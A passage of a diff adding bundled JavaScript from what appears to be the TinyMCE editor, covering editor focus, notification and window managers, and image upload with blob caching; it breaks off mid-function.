+    if (body.setActive) {
+      try {
+        body.setActive();
+      } catch (ex) {
+        body.focus();
+      }
+    } else {
+      body.focus();
+    }
+  };
+  var hasElementFocus = function (elm) {
+    return $_a8y7p34wjjgwe8j0.hasFocus(elm) || $_a8y7p34wjjgwe8j0.search(elm).isSome();
+  };
+  var hasIframeFocus = function (editor) {
+    return editor.iframeElement && $_a8y7p34wjjgwe8j0.hasFocus(Element$$1.fromDom(editor.iframeElement));
+  };
+  var hasInlineFocus = function (editor) {
+    var rawBody = editor.getBody();
+    return rawBody && hasElementFocus(Element$$1.fromDom(rawBody));
+  };
+  var hasFocus$1 = function (editor) {
+    return editor.inline ? hasInlineFocus(editor) : hasIframeFocus(editor);
+  };
+  var focusEditor = function (editor) {
+    var selection = editor.selection, contentEditable = editor.settings.content_editable;
+    var body = editor.getBody();
+    var rng = selection.getRng();
+    editor.quirks.refreshContentEditable();
+    var contentEditableHost = getContentEditableHost(editor, selection.getNode());
+    if (editor.$.contains(body, contentEditableHost)) {
+      focusBody(contentEditableHost);
+      normalizeSelection(editor, rng);
+      activateEditor(editor);
+      return;
+    }
+    if (editor.bookmark !== undefined && hasFocus$1(editor) === false) {
+      $_4wtqbt4ljjgwe8gy.getRng(editor).each(function (bookmarkRng) {
+        editor.selection.setRng(bookmarkRng);
+        rng = bookmarkRng;
+      });
+    }
+    if (!contentEditable) {
+      if (!$_bcvfv9ajjgwe79v.opera) {
+        focusBody(body);
+      }
+      editor.getWin().focus();
+    }
+    if ($_bcvfv9ajjgwe79v.gecko || contentEditable) {
+      focusBody(body);
+      normalizeSelection(editor, rng);
+    }
+    activateEditor(editor);
+  };
+  var activateEditor = function (editor) {
+    return editor.editorManager.setActive(editor);
+  };
+  var focus$1 = function (editor, skipFocus) {
+    if (editor.removed) {
+      return;
+    }
+    skipFocus ? activateEditor(editor) : focusEditor(editor);
+  };
+  var $_5eyh7w4vjjgwe8ik = {
+    focus: focus$1,
+    hasFocus: hasFocus$1
+  };
+
+  var getProp = function (propName, elm) {
+    var rawElm = elm.dom();
+    return rawElm[propName];
+  };
+  var getComputedSizeProp = function (propName, elm) {
+    return parseInt($_e0ei5w13jjgwe7m4.get(elm, propName), 10);
+  };
+  var getClientWidth = curry(getProp, 'clientWidth');
+  var getClientHeight = curry(getProp, 'clientHeight');
+  var getMarginTop = curry(getComputedSizeProp, 'margin-top');
+  var getMarginLeft = curry(getComputedSizeProp, 'margin-left');
+  var getBoundingClientRect$1 = function (elm) {
+    return elm.dom().getBoundingClientRect();
+  };
+  var isInsideElementContentArea = function (bodyElm, clientX, clientY) {
+    var clientWidth = getClientWidth(bodyElm);
+    var clientHeight = getClientHeight(bodyElm);
+    return clientX >= 0 && clientY >= 0 && clientX <= clientWidth && clientY <= clientHeight;
+  };
+  var transpose = function (inline, elm, clientX, clientY) {
+    var clientRect = getBoundingClientRect$1(elm);
+    var deltaX = inline ? clientRect.left + elm.dom().clientLeft + getMarginLeft(elm) : 0;
+    var deltaY = inline ? clientRect.top + elm.dom().clientTop + getMarginTop(elm) : 0;
+    var x = clientX - deltaX;
+    var y = clientY - deltaY;
+    return {
+      x: x,
+      y: y
+    };
+  };
+  var isXYInContentArea = function (editor, clientX, clientY) {
+    var bodyElm = Element$$1.fromDom(editor.getBody());
+    var targetElm = editor.inline ? bodyElm : $_d3rmjp18jjgwe7nc.documentElement(bodyElm);
+    var transposedPoint = transpose(editor.inline, targetElm, clientX, clientY);
+    return isInsideElementContentArea(targetElm, transposedPoint.x, transposedPoint.y);
+  };
+  var fromDomSafe = function (node) {
+    return Option.from(node).map(Element$$1.fromDom);
+  };
+  var isEditorAttachedToDom = function (editor) {
+    var rawContainer = editor.inline ? editor.getBody() : editor.getContentAreaContainer();
+    return fromDomSafe(rawContainer).map(function (container) {
+      return $_5raon11ejjgwe7o5.contains($_d3rmjp18jjgwe7nc.owner(container), container);
+    }).getOr(false);
+  };
+  var $_3j45vj50jjgwe8jq = {
+    isXYInContentArea: isXYInContentArea,
+    isEditorAttachedToDom: isEditorAttachedToDom
+  };
+
+  function NotificationManagerImpl () {
+    var unimplemented = function () {
+      throw new Error('Theme did not provide a NotificationManager implementation.');
+    };
+    return {
+      open: unimplemented,
+      close: unimplemented,
+      reposition: unimplemented,
+      getArgs: unimplemented
+    };
+  }
+
+  function NotificationManager (editor) {
+    var notifications = [];
+    var getImplementation = function () {
+      var theme = editor.theme;
+      return theme && theme.getNotificationManagerImpl ? theme.getNotificationManagerImpl() : NotificationManagerImpl();
+    };
+    var getTopNotification = function () {
+      return Option.from(notifications[0]);
+    };
+    var isEqual = function (a, b) {
+      return a.type === b.type && a.text === b.text && !a.progressBar && !a.timeout && !b.progressBar && !b.timeout;
+    };
+    var reposition = function () {
+      if (notifications.length > 0) {
+        getImplementation().reposition(notifications);
+      }
+    };
+    var addNotification = function (notification) {
+      notifications.push(notification);
+    };
+    var closeNotification = function (notification) {
+      findIndex(notifications, function (otherNotification) {
+        return otherNotification === notification;
+      }).each(function (index) {
+        notifications.splice(index, 1);
+      });
+    };
+    var open = function (args) {
+      if (editor.removed || !$_3j45vj50jjgwe8jq.isEditorAttachedToDom(editor)) {
+        return;
+      }
+      return find(notifications, function (notification) {
+        return isEqual(getImplementation().getArgs(notification), args);
+      }).getOrThunk(function () {
+        editor.editorManager.setActive(editor);
+        var notification = getImplementation().open(args, function () {
+          closeNotification(notification);
+          reposition();
+        });
+        addNotification(notification);
+        reposition();
+        return notification;
+      });
+    };
+    var close = function () {
+      getTopNotification().each(function (notification) {
+        getImplementation().close(notification);
+        closeNotification(notification);
+        reposition();
+      });
+    };
+    var getNotifications = function () {
+      return notifications;
+    };
+    var registerEvents = function (editor) {
+      editor.on('SkinLoaded', function () {
+        var serviceMessage = editor.settings.service_message;
+        if (serviceMessage) {
+          open({
+            text: serviceMessage,
+            type: 'warning',
+            timeout: 0,
+            icon: ''
+          });
+        }
+      });
+      editor.on('ResizeEditor ResizeWindow', function () {
+        $_9o1ijaijjgwe7dm.requestAnimationFrame(reposition);
+      });
+      editor.on('remove', function () {
+        each(notifications, function (notification) {
+          getImplementation().close(notification);
+        });
+      });
+    };
+    registerEvents(editor);
+    return {
+      open: open,
+      close: close,
+      getNotifications: getNotifications
+    };
+  }
+
+  function WindowManagerImpl () {
+    var unimplemented = function () {
+      throw new Error('Theme did not provide a WindowManager implementation.');
+    };
+    return {
+      open: unimplemented,
+      alert: unimplemented,
+      confirm: unimplemented,
+      close: unimplemented,
+      getParams: unimplemented,
+      setParams: unimplemented
+    };
+  }
+
+  function WindowManager (editor) {
+    var windows = [];
+    var getImplementation = function () {
+      var theme = editor.theme;
+      return theme && theme.getWindowManagerImpl ? theme.getWindowManagerImpl() : WindowManagerImpl();
+    };
+    var funcBind = function (scope, f) {
+      return function () {
+        return f ? f.apply(scope, arguments) : undefined;
+      };
+    };
+    var fireOpenEvent = function (win) {
+      editor.fire('OpenWindow', { win: win });
+    };
+    var fireCloseEvent = function (win) {
+      editor.fire('CloseWindow', { win: win });
+    };
+    var addWindow = function (win) {
+      windows.push(win);
+      fireOpenEvent(win);
+    };
+    var closeWindow = function (win) {
+      findIndex(windows, function (otherWindow) {
+        return otherWindow === win;
+      }).each(function (index) {
+        windows.splice(index, 1);
+        fireCloseEvent(win);
+        if (windows.length === 0) {
+          editor.focus();
+        }
+      });
+    };
+    var getTopWindow = function () {
+      return Option.from(windows[windows.length - 1]);
+    };
+    var open = function (args, params) {
+      editor.editorManager.setActive(editor);
+      $_4wtqbt4ljjgwe8gy.store(editor);
+      var win = getImplementation().open(args, params, closeWindow);
+      addWindow(win);
+      return win;
+    };
+    var alert = function (message, callback, scope) {
+      var win = getImplementation().alert(message, funcBind(scope ? scope : this, callback), closeWindow);
+      addWindow(win);
+    };
+    var confirm = function (message, callback, scope) {
+      var win = getImplementation().confirm(message, funcBind(scope ? scope : this, callback), closeWindow);
+      addWindow(win);
+    };
+    var close = function () {
+      getTopWindow().each(function (win) {
+        getImplementation().close(win);
+        closeWindow(win);
+      });
+    };
+    var getParams = function () {
+      return getTopWindow().map(getImplementation().getParams).getOr(null);
+    };
+    var setParams = function (params) {
+      getTopWindow().each(function (win) {
+        getImplementation().setParams(win, params);
+      });
+    };
+    var getWindows = function () {
+      return windows;
+    };
+    editor.on('remove', function () {
+      each(windows.slice(0), function (win) {
+        getImplementation().close(win);
+      });
+    });
+    return {
+      windows: windows,
+      open: open,
+      alert: alert,
+      confirm: confirm,
+      close: close,
+      getParams: getParams,
+      setParams: setParams,
+      getWindows: getWindows
+    };
+  }
+
+  var PluginManager = AddOnManager.PluginManager;
+  var resolvePluginName = function (targetUrl, suffix) {
+    for (var name$$1 in PluginManager.urls) {
+      var matchUrl = PluginManager.urls[name$$1] + '/plugin' + suffix + '.js';
+      if (matchUrl === targetUrl) {
+        return name$$1;
+      }
+    }
+    return null;
+  };
+  var pluginUrlToMessage = function (editor, url) {
+    var plugin = resolvePluginName(url, editor.suffix);
+    return plugin ? 'Failed to load plugin: ' + plugin + ' from url ' + url : 'Failed to load plugin url: ' + url;
+  };
+  var displayNotification = function (editor, message) {
+    editor.notificationManager.open({
+      type: 'error',
+      text: message
+    });
+  };
+  var displayError = function (editor, message) {
+    if (editor._skinLoaded) {
+      displayNotification(editor, message);
+    } else {
+      editor.on('SkinLoaded', function () {
+        displayNotification(editor, message);
+      });
+    }
+  };
+  var uploadError = function (editor, message) {
+    displayError(editor, 'Failed to upload image: ' + message);
+  };
+  var pluginLoadError = function (editor, url) {
+    displayError(editor, pluginUrlToMessage(editor, url));
+  };
+  var initError = function (message) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var console$$1 = window.console;
+    if (console$$1) {
+      if (console$$1.error) {
+        console$$1.error.apply(console$$1, arguments);
+      } else {
+        console$$1.log.apply(console$$1, arguments);
+      }
+    }
+  };
+  var $_5ksiiu54jjgwe8k7 = {
+    pluginLoadError: pluginLoadError,
+    uploadError: uploadError,
+    displayError: displayError,
+    initError: initError
+  };
+
+  var PluginManager$1 = AddOnManager.PluginManager;
+
+  var ThemeManager = AddOnManager.ThemeManager;
+
+  function XMLHttpRequest () {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('XMLHttpRequest');
+    return new f();
+  }
+
+  function Uploader (uploadStatus, settings) {
+    var pendingPromises = {};
+    var pathJoin = function (path1, path2) {
+      if (path1) {
+        return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, '');
+      }
+      return path2;
+    };
+    var defaultHandler = function (blobInfo, success, failure, progress) {
+      var xhr, formData;
+      xhr = new XMLHttpRequest();
+      xhr.open('POST', settings.url);
+      xhr.withCredentials = settings.credentials;
+      xhr.upload.onprogress = function (e) {
+        progress(e.loaded / e.total * 100);
+      };
+      xhr.onerror = function () {
+        failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status);
+      };
+      xhr.onload = function () {
+        var json;
+        if (xhr.status < 200 || xhr.status >= 300) {
+          failure('HTTP Error: ' + xhr.status);
+          return;
+        }
+        json = JSON.parse(xhr.responseText);
+        if (!json || typeof json.location !== 'string') {
+          failure('Invalid JSON: ' + xhr.responseText);
+          return;
+        }
+        success(pathJoin(settings.basePath, json.location));
+      };
+      formData = new FormData();
+      formData.append('file', blobInfo.blob(), blobInfo.filename());
+      xhr.send(formData);
+    };
+    var noUpload = function () {
+      return new promiseObj(function (resolve) {
+        resolve([]);
+      });
+    };
+    var handlerSuccess = function (blobInfo, url) {
+      return {
+        url: url,
+        blobInfo: blobInfo,
+        status: true
+      };
+    };
+    var handlerFailure = function (blobInfo, error) {
+      return {
+        url: '',
+        blobInfo: blobInfo,
+        status: false,
+        error: error
+      };
+    };
+    var resolvePending = function (blobUri, result) {
+      $_6cwiepljjgwe7j4.each(pendingPromises[blobUri], function (resolve) {
+        resolve(result);
+      });
+      delete pendingPromises[blobUri];
+    };
+    var uploadBlobInfo = function (blobInfo, handler, openNotification) {
+      uploadStatus.markPending(blobInfo.blobUri());
+      return new promiseObj(function (resolve) {
+        var notification, progress;
+        var noop = function () {
+        };
+        try {
+          var closeNotification_1 = function () {
+            if (notification) {
+              notification.close();
+              progress = noop;
+            }
+          };
+          var success = function (url) {
+            closeNotification_1();
+            uploadStatus.markUploaded(blobInfo.blobUri(), url);
+            resolvePending(blobInfo.blobUri(), handlerSuccess(blobInfo, url));
+            resolve(handlerSuccess(blobInfo, url));
+          };
+          var failure = function (error) {
+            closeNotification_1();
+            uploadStatus.removeFailed(blobInfo.blobUri());
+            resolvePending(blobInfo.blobUri(), handlerFailure(blobInfo, error));
+            resolve(handlerFailure(blobInfo, error));
+          };
+          progress = function (percent) {
+            if (percent < 0 || percent > 100) {
+              return;
+            }
+            if (!notification) {
+              notification = openNotification();
+            }
+            notification.progressBar.value(percent);
+          };
+          handler(blobInfo, success, failure, progress);
+        } catch (ex) {
+          resolve(handlerFailure(blobInfo, ex.message));
+        }
+      });
+    };
+    var isDefaultHandler = function (handler) {
+      return handler === defaultHandler;
+    };
+    var pendingUploadBlobInfo = function (blobInfo) {
+      var blobUri = blobInfo.blobUri();
+      return new promiseObj(function (resolve) {
+        pendingPromises[blobUri] = pendingPromises[blobUri] || [];
+        pendingPromises[blobUri].push(resolve);
+      });
+    };
+    var uploadBlobs = function (blobInfos, openNotification) {
+      blobInfos = $_6cwiepljjgwe7j4.grep(blobInfos, function (blobInfo) {
+        return !uploadStatus.isUploaded(blobInfo.blobUri());
+      });
+      return promiseObj.all($_6cwiepljjgwe7j4.map(blobInfos, function (blobInfo) {
+        return uploadStatus.isPending(blobInfo.blobUri()) ? pendingUploadBlobInfo(blobInfo) : uploadBlobInfo(blobInfo, settings.handler, openNotification);
+      }));
+    };
+    var upload = function (blobInfos, openNotification) {
+      return !settings.url && isDefaultHandler(settings.handler) ? noUpload() : uploadBlobs(blobInfos, openNotification);
+    };
+    settings = $_6cwiepljjgwe7j4.extend({
+      credentials: false,
+      handler: defaultHandler
+    }, settings);
+    return { upload: upload };
+  }
+
+  function Blob (parts, properties) {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('Blob');
+    return new f(parts, properties);
+  }
+
+  function FileReader () {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('FileReader');
+    return new f();
+  }
+
+  function Uint8Array (arr) {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('Uint8Array');
+    return new f(arr);
+  }
+
+  var requestAnimationFrame$1 = function (callback) {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('requestAnimationFrame');
+    f(callback);
+  };
+  var atob = function (base64) {
+    var f = $_6xhbl4cjjgwe7a3.getOrDie('atob');
+    return f(base64);
+  };
+  var $_dx5bag5hjjgwe8lz = {
+    atob: atob,
+    requestAnimationFrame: requestAnimationFrame$1
+  };
+
+  var blobUriToBlob = function (url) {
+    return new promiseObj(function (resolve, reject) {
+      var rejectWithError = function () {
+        reject('Cannot convert ' + url + ' to Blob. Resource might not exist or is inaccessible.');
+      };
+      try {
+        var xhr = new XMLHttpRequest();
+        xhr.open('GET', url, true);
+        xhr.responseType = 'blob';
+        xhr.onload = function () {
+          if (this.status === 200) {
+            resolve(this.response);
+          } else {
+            rejectWithError();
+          }
+        };
+        xhr.onerror = rejectWithError;
+        xhr.send();
+      } catch (ex) {
+        rejectWithError();
+      }
+    });
+  };
+  var parseDataUri = function (uri) {
+    var type, matches;
+    uri = decodeURIComponent(uri).split(',');
+    matches = /data:([^;]+)/.exec(uri[0]);
+    if (matches) {
+      type = matches[1];
+    }
+    return {
+      type: type,
+      data: uri[1]
+    };
+  };
+  var dataUriToBlob = function (uri) {
+    return new promiseObj(function (resolve) {
+      var str, arr, i;
+      uri = parseDataUri(uri);
+      try {
+        str = $_dx5bag5hjjgwe8lz.atob(uri.data);
+      } catch (e) {
+        resolve(new Blob([]));
+        return;
+      }
+      arr = new Uint8Array(str.length);
+      for (i = 0; i < arr.length; i++) {
+        arr[i] = str.charCodeAt(i);
+      }
+      resolve(new Blob([arr], { type: uri.type }));
+    });
+  };
+  var uriToBlob = function (url) {
+    if (url.indexOf('blob:') === 0) {
+      return blobUriToBlob(url);
+    }
+    if (url.indexOf('data:') === 0) {
+      return dataUriToBlob(url);
+    }
+    return null;
+  };
+  var blobToDataUri = function (blob) {
+    return new promiseObj(function (resolve) {
+      var reader = new FileReader();
+      reader.onloadend = function () {
+        resolve(reader.result);
+      };
+      reader.readAsDataURL(blob);
+    });
+  };
+  var $_5vfmmd5djjgwe8ln = {
+    uriToBlob: uriToBlob,
+    blobToDataUri: blobToDataUri,
+    parseDataUri: parseDataUri
+  };
+
+  var count = 0;
+  var uniqueId = function (prefix) {
+    return (prefix || 'blobid') + count++;
+  };
+  var imageToBlobInfo = function (blobCache, img, resolve, reject) {
+    var base64, blobInfo;
+    if (img.src.indexOf('blob:') === 0) {
+      blobInfo = blobCache.getByUri(img.src);
+      if (blobInfo) {
+        resolve({
+          image: img,
+          blobInfo: blobInfo
+        });
+      } else {
+        $_5vfmmd5djjgwe8ln.uriToBlob(img.src).then(function (blob) {
+          $_5vfmmd5djjgwe8ln.blobToDataUri(blob).then(function (dataUri) {
+            base64 = $_5vfmmd5djjgwe8ln.parseDataUri(dataUri).data;
+            blobInfo = blobCache.create(uniqueId(), blob, base64);
+            blobCache.add(blobInfo);
+            resolve({
+              image: img,
+              blobInfo: blobInfo
+            });
+          });
+        }, function (err) {
+          reject(err);
+        });
+      }
+      return;
+    }
+    base64 = $_5vfmmd5djjgwe8ln.parseDataUri(img.src).data;
+    blobInfo = blobCache.findFirst(function (cachedBlobInfo) {
+      return cachedBlobInfo.base64() === base64;
+    });
+    if (blobInfo) {
+      resolve({
+        image: img,
+        blobInfo: blobInfo
+      });
+    } else {
+      $_5vfmmd5djjgwe8ln.uriToBlob(img.src).then(function (blob) {
+        blobInfo = blobCache.create(uniqueId(), blob, base64);
+        blobCache.add(blobInfo);
+        resolve({
+          image: img,
+          blobInfo: blobInfo
+        });
+      }, function (err) {
+        reject(err);
+      });
+    }
+  };
+  var getAllImages = function (elm) {
+    return elm ? elm.getElementsByTagName('img') : [];
+  };
+  function ImageScanner (uploadStatus, blobCache) {
+    var cachedPromises = {};
+    var findAll = function (elm, predicate) {
+      var images;
+      if (!predicate) {
+        predicate = $_4127e12ljjgwe7ww.constant(true);
+      }
+      images = $_6t4axrmjjgwe7jf.filter(getAllImages(elm), function (img) {
+        var src = img.src;
+        if (!$_bcvfv9ajjgwe79v.fileApi) {
+          return false;
+        }
+        if (img.hasAttribute('data-mce-bogus')) {
+          return false;
+        }
+        if (img.hasAttribute('data-mce-placeholder')) {
+          return false;
+        }
+        if (!src || src === $_bcvfv9ajjgwe79v.transparentSrc) {
+          return false;
+        }
+        if (src.indexOf('blob:') === 0) {
+          return !uploadStatus.isUploaded(src);
+        }
+        if (src.indexOf('data:') === 0) {
+          return predicate(img);
+        }
+        return false;
+      });
+      var promises = $_6t4axrmjjgwe7jf.map(images, function (img) {
+        if (cachedPromises[img.src]) {
+          return new promiseObj(function (resolve) {
+            cachedPromises[img.src].then(function (imageInfo) {
+              if (typeof imageInfo === 'string') {
+                return imageInfo;
+              }
+              resolve({
+                image: img,
+                blobInfo: imageInfo.blobInfo
+              });
+            });
+          });
+        }
+        var newPromise = new promiseObj(function (resolve, reject) {
+          imageToBlobInfo(blobCache, img, resolve, reject);
+        }).then(function (result) {
+          delete cachedPromises[result.image.src];
+          return result;
+        }).catch(function (error) {
+          delete cachedPromises[img.src];
+          return error;
+        });
+        cachedPromises[img.src] = newPromise;
+        return newPromise;
+      });
+      return promiseObj.all(promises);
+    };
+    return { findAll: findAll };
+  }
+
+  var count$1 = 0;
+  var seed = function () {
+    var rnd = function () {
+      return Math.round(Math.random() * 4294967295).toString(36);
+    };
+    var now = new Date().getTime();
+    return 's' + now.toString(36) + rnd() + rnd() + rnd();
+  };
+  var uuid = function (prefix) {
+    return prefix + count$1++ + seed();
+  };
+  var $_637o4x5jjjgwe8m5 = { uuid: uuid };
+
+  function BlobCache () {
+    var cache = [];
+    var constant = $_4127e12ljjgwe7ww.constant;
+    var mimeToExt = function (mime) {
+      var mimes = {
+        'image/jpeg': 'jpg',
+        'image/jpg': 'jpg',
+        'image/gif': 'gif',
+        'image/png': 'png'
+      };
+      return mimes[mime.toLowerCase()] || 'dat';
+    };
+    var create = function (o, blob, base64, filename) {
+      return typeof o === 'object' ? toBlobInfo(o) : toBlobInfo({
+        id: o,
+        name: filename,
+        blob: blob,
+        base64: base64
+      });
+    };
+    var toBlobInfo = function (o) {
+      var id, name;
+      if (!o.blob || !o.base64) {
+        throw new Error('blob and base64 representations of the image are required for BlobInfo to be created');
+      }
+      id = o.id || $_637o4x5jjjgwe8m5.uuid('blobid');
+      name = o.name || id;
+      return {
+        id: constant(id),
+        name: constant(name),
+        filename: constant(name + '.' + mimeToExt(o.blob.type)),
+        blob: constant(o.blob),
+        base64: constant(o.base64),
+        blobUri: constant(o.blobUri || $_r9uyubjjgwe7a2.createObjectURL(o.blob)),
+        uri: constant(o.uri)
+      };
+    };
+    var add = function (blobInfo) {
+      if (!get(blobInfo.id())) {
+        cache.push(blobInfo);
+      }
+    };
+    var get = function (id) {
+      return findFirst(function (cachedBlobInfo) {
+        return cachedBlobInfo.id() === id;
+      });
+    };
+    var findFirst = function (predicate) {
+      return $_6t4axrmjjgwe7jf.filter(cache, predicate)[0];
+    };
+    var getByUri = function (blobUri) {
+      return findFirst(function (blobInfo) {
+        return blobInfo.blobUri() === blobUri;
+      });
+    };
+    var removeByUri = function (blobUri) {
+      cache = $_6t4axrmjjgwe7jf.filter(cache, function (blobInfo) {
+        if (blobInfo.blobUri() === blobUri) {
+          $_r9uyubjjgwe7a2.revokeObjectURL(blobInfo.blobUri());
+          return false;
+        }
+        return true;
+      });
+    };
+    var destroy = function () {
+      $_6t4axrmjjgwe7jf.each(cache, function (cachedBlobInfo) {
+        $_r9uyubjjgwe7a2.revokeObjectURL(cachedBlobInfo.blobUri());
+      });
+      cache = [];
+    };
+    return {
+      create: create,
+      add: add,
+      get: get,
+      getByUri: getByUri,
+      findFirst: findFirst,
+      removeByUri: removeByUri,
+      destroy: destroy
+    };
+  }
+
+  function UploadStatus () {
+    var PENDING = 1, UPLOADED = 2;
+    var blobUriStatuses = {};
+    var createStatus = function (status, resultUri) {
+      return {
+        status: status,
+        resultUri: resultUri
+      };
+    };
+    var hasBlobUri = function (blobUri) {
+      return blobUri in blobUriStatuses;
+    };
+    var getResultUri = function (blobUri) {
+      var result = blobUriStatuses[blobUri];
+      return result ? result.resultUri : null;
+    };
+    var isPending = function (blobUri) {
+      return hasBlobUri(blobUri) ? blobUriStatuses[blobUri].status === PENDING : false;
+    };
+    var isUploaded = function (blobUri) {
+      return hasBlobUri(blobUri) ? blobUriStatuses[blobUri].status === UPLOADED : false;
+    };
+    var markPending = function (blobUri) {
+      blobUriStatuses[blobUri] = createStatus(PENDING, null);
+    };
+    var markUploaded = function (blobUri, resultUri) {
+      blobUriStatuses[blobUri] = createStatus(UPLOADED, resultUri);
+    };
+    var removeFailed = function (blobUri) {
+      delete blobUriStatuses[blobUri];
+    };
+    var destroy = function () {
+      blobUriStatuses = {};
+    };
+    return {
+      hasBlobUri: hasBlobUri,
+      getResultUri: getResultUri,
+      isPending: isPending,
+      isUploaded: isUploaded,
+      markPending: markPending,
+      markUploaded: markUploaded,
+      removeFailed: removeFailed,
+      destroy: destroy
+    };
+  }
+
+  function EditorUpload (editor) {
+    var blobCache = BlobCache();
+    var uploader, imageScanner;
+    var settings = editor.settings;
+    var uploadStatus = UploadStatus();
+    var aliveGuard = function (callback) {
+      return function (result) {
+        if (editor.selection) {
+          return callback(result);
+        }
+        return [];
+      };
+    };
+    var cacheInvalidator = function () {
+      return '?' + new Date().getTime();
+    };
+    var replaceString = function (content, search, replace) {
+      var index = 0;
+      do {
+        index = content.indexOf(search, index);
+        if (index !== -1) {
+          content = content.substring(0, index) + replace + content.substr(index + search.length);
+          index += replace.length - search.length + 1;
+        }
+      } while (index !== -1);
+      return content;
+    };
+    var replaceImageUrl = function (content, targetUrl, replacementUrl) {
+      content = replaceString(content, 'src="' + targetUrl + '"', 'src="' + replacementUrl + '"');
+      content = replaceString(content, 'data-mce-src="' + targetUrl + '"', 'data-mce-src="' + replacementUrl + '"');
+      return content;
+    };
+    var replaceUrlInUndoStack = function (targetUrl, replacementUrl) {
+      $_6t4axrmjjgwe7jf.each(editor.undoManager.data, function (level) {
+        if (level.type === 'fragmented') {
+          level.fragments = $_6t4axrmjjgwe7jf.map(level.fragments, function (fragment) {
+            return replaceImageUrl(fragment, targetUrl, replacementUrl);
+          });
+        } else {
+          level.content = replaceImageUrl(level.content, targetUrl, replacementUrl);
+        }
+      });
+    };
+    var openNotification = function () {
+      return editor.notificationManager.open({
+        text: editor.translate('Image uploading...'),
+        type: 'info',
+        timeout: -1,
+        progressBar: true
+      });
+    };
+    var replaceImageUri = function (image, resultUri) {
+      blobCache.removeByUri(image.src);
+      replaceUrlInUndoStack(image.src, resultUri);
+      editor.$(image).attr({
+        'src': settings.images_reuse_filename ? resultUri + cacheInvalidator() : resultUri,
+        'data-mce-src': editor.convertURL(resultUri, 'src')
+      });
+    };
+    var uploadImages = function (callback) {
+      if (!uploader) {
+        uploader = Uploader(uploadStatus, {
+          url: settings.images_upload_url,
+          basePath: settings.images_upload_base_path,
+          credentials: settings.images_upload_credentials,
+          handler: settings.images_upload_handler
+        });
+      }
+      return scanForImages().then(aliveGuard(function (imageInfos) {
+        var blobInfos;
+        blobInfos = $_6t4axrmjjgwe7jf.map(imageInfos, function (imageInfo) {
+          return imageInfo.blobInfo;
+        });
+        return uploader.upload(blobInfos, openNotification).then(aliveGuard(function (result) {
+          var filteredResult = $_6t4axrmjjgwe7jf.map(result, function (uploadInfo, index) {
+            var image = imageInfos[index].image;
+            if (uploadInfo.status && editor.settings.images_replace_blob_uris !== false) {
+              replaceImageUri(image, uploadInfo.url);
+            } else if (uploadInfo.error) {
+              $_5ksiiu54jjgwe8k7.uploadError(editor, uploadInfo.error);
+            }
+            return {
+              element: image,
+              status: uploadInfo.status
+            };
+          });
+          if (callback) {
+            callback(filteredResult);
+          }
+          return filteredResult;
+        }));
+      }));
+    };
+    var uploadImagesAuto = function (callback) {
+      if (settings.automatic_uploads !== false) {
+        return uploadImages(callback);
+      }
+    };
+    var isValidDataUriImage = function (imgElm) {
+      return settings.images_dataimg_filter ? settings.images_dataimg_filter(imgElm) : true;
+    };
+    var scanForImages = function () {
+      if (!imageScanner) {
+        imageScanner = ImageScanner(uploadStatus, blobCache);
+      }
+      return imageScanner.findAll(editor.getBody(), isValidDataUriImage).then(aliveGuard(function (result) {
+        result = $_6t4axrmjjgwe7jf.filter(result, function (resultItem) {
+          if (typeof resultItem === 'string') {
+            $_5ksiiu54jjgwe8k7.displayError(editor, resultItem);
+            return false;
+          }
+          return true;
+        });
+        $_6t4axrmjjgwe7jf.each(result, function (resultItem) {
+          replaceUrlInUndoStack(resultItem.image.src, resultItem.blobInfo.blobUri());
+          resultItem.image.src = resultItem.blobInfo.blobUri();
+          resultItem.image.removeAttribute('data-mce-src');
+        });
+        return result;
+      }));
+    };
+    var destroy = function () {
+      blobCache.destroy();
+      uploadStatus.destroy();
+      imageScanner = uploader = null;
+    };
+    var replaceBlobUris = function (content) {
+      return content.replace(/src="(blob:[^"]+)"/g, function (match, blobUri) {
+        var resultUri = uploadStatus.getResultUri(blobUri);
+        if (resultUri) {
+          return 'src="' + resultUri + '"';
+        }
+        var blobInfo = blobCache.getByUri(blobUri);
+        if (!blobInfo) {
+          blobInfo = $_6t4axrmjjgwe7jf.reduce(editor.editorManager.get(), function (result, editor) {
+            return result || editor.editorUpload && editor.editorUpload.blobCache.getByUri(blobUri);
+          }, null);
+        }
+        if (blobInfo) {
+          return 'src="data:' + blobInfo.blob().type + ';base64,' + blobInfo.base64() + '"';
+        }
+        return match;
+      });
+    };
+    editor.on('setContent', function () {
+      if (editor.settings.automatic_uploads !== false) {
+        uploadImagesAuto();
+      } else {
+        scanForImages();
+      }
+    });
+    editor.on('RawSaveContent', function (e) {
+      e.content = replaceBlobUris(e.content);
+    });
+    editor.on('getContent', function (e) {
+      if (e.source_view || e.format === 'raw') {
+        return;
+      }
+      e.content = replaceBlobUris(e.content);
+    });
+    editor.on('PostRender', function () {
+      editor.parser.addNodeFilter('img', function (images) {
+        $_6t4axrmjjgwe7jf.each(images, function (img) {
+          var src = img.attr('src');
+          if (blobCache.getByUri(src)) {
+            return;
+          }
+          var resultUri = uploadStatus.getResultUri(src);
+          if (resultUri) {
+            img.attr('src', resultUri);
+          }
+        });
+      });
+    });
+    return {
+      blobCache: blobCache,
+      uploadImages: uploadImages,
+      uploadImagesAuto: uploadImagesAuto,
+      scanForImages: scanForImages,
+      destroy: destroy
+    };
+  }
+
+  var isBlockElement = function (blockElements, node) {
+    return blockElements.hasOwnProperty(node.nodeName);
+  };
+  var isValidTarget = function (blockElements, node) {
+    if ($_3b9u2y1rjjgwe7qe.isText(node)) {
+      return true;
+    } else if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+      return !isBlockElement(blockElements, node) && !$_6refgt2vjjgwe7yn.isBookmarkNode(node);
+    } else {
+      return false;
+    }
+  };
+  var hasBlockParent = function (blockElements, root, node) {
+    return exists($_cvft7x3zjjgwe8bh.parents(Element$$1.fromDom(node), Element$$1.fromDom(root)), function (elm) {
+      return isBlockElement(blockElements, elm.dom());
+    });
+  };
+  var shouldRemoveTextNode = function (blockElements, node) {
+    if ($_3b9u2y1rjjgwe7qe.isText(node)) {
+      if (node.nodeValue.length === 0) {
+        return true;
